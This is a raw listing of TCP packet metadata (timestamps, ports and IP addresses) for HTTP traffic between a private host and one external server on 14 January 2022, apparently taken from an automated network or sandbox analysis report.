Jan 14, 2022 02:05:16.863282919 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863287926 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863312960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863338947 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863354921 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863363028 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863389015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863390923 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863414049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863434076 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863437891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863464117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863488913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863509893 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863514900 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863538027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863540888 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863564968 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863585949 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863590002 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863615036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863635063 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863640070 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863665104 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863689899 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863708019 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.864288092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.864314079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.864322901 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.864370108 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.930608988 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.930737019 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.930820942 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.930850983 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.930963993 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.930995941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931026936 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931039095 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931060076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931071043 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931091070 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931123018 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931138992 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931154013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931184053 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931199074 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931215048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931246042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931277037 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931296110 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931308985 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931325912 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931338072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931369066 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931399107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931412935 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931428909 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931449890 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931458950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931488991 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931519032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931539059 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931550026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931566954 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931579113 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931610107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931639910 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931660891 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931668043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931687117 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931698084 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931727886 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931759119 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931772947 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931790113 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931807041 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931819916 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931849957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931879997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931894064 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931910038 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931925058 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.931941986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.931972027 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.932003021 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.932019949 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.932034016 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.932049990 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.932065010 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.932213068 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.934328079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.934617043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.934739113 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.934772968 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.934775114 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.934818029 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.934890032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.934923887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.934981108 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935058117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935091972 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935147047 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935162067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935228109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935262918 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935293913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935309887 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935347080 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935410976 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935499907 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935534954 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935589075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935594082 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935630083 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935633898 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935672045 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935702085 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935731888 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935745955 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935761929 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935782909 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935791969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935823917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935852051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935853958 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935883999 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935899019 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.935914040 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935944080 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935975075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.935995102 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936014891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936028957 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936044931 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936077118 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936108112 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936124086 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936139107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936158895 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936170101 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936198950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936229944 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936245918 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936259985 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936286926 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936289072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936320066 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936350107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936367989 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936379910 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936402082 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936410904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936439991 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936470985 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936490059 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936502934 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936520100 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936532021 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936563015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936592102 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936606884 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936623096 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936638117 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936654091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936683893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936713934 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936733961 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936744928 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936765909 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936774015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936805010 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936834097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936858892 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936865091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936892033 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.936896086 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.936966896 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003278971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003336906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003377914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003415108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003418922 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003454924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003465891 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003494978 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003531933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003540039 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003571987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003609896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003648996 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003662109 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003689051 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003693104 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003725052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003766060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003806114 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003812075 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003842115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003854036 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003882885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003920078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003958941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.003964901 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.003998995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004048109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004049063 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004089117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004127979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004132986 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004164934 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004177094 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004204035 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004242897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004282951 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004293919 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004322052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004324913 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004359961 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004398108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004436970 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004443884 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004473925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004499912 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004513025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004551888 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004590988 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004601955 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004630089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004642010 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004667997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004713058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004726887 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004750967 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004787922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004827976 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.004844904 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.004869938 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.007884026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008240938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008301973 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008311987 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.008402109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008443117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008481979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008493900 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.008522034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008527994 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.008558989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008599043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008636951 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008651018 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.008673906 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.008673906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008712053 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008750916 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008790970 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008793116 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.008831024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008837938 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.008868933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008908987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008946896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008955002 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.008984089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.008987904 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009021997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009059906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009099960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009104013 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009139061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009145021 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009176016 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009215117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009253979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009258032 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009290934 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009294987 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009330034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009367943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009407043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009418964 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009447098 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009448051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009484053 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009522915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009562016 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009567022 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009598970 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009603024 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009638071 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009675980 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009715080 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009730101 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009753942 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009757996 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009790897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009829998 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009877920 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009898901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009939909 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.009942055 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.009977102 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010015011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010054111 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010056019 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010093927 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010098934 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010133028 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010169983 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010185957 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010209084 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010247946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010251999 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010284901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010323048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010360956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010365009 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010400057 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010402918 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010453939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010489941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010524988 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010535002 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010560989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010565042 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010596037 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010631084 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010665894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.010694027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.010713100 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076035023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076128960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076169014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076206923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076242924 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076246977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076276064 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076286077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076325893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076365948 CET	80	49879	141.8.194.74	192.168.2.3
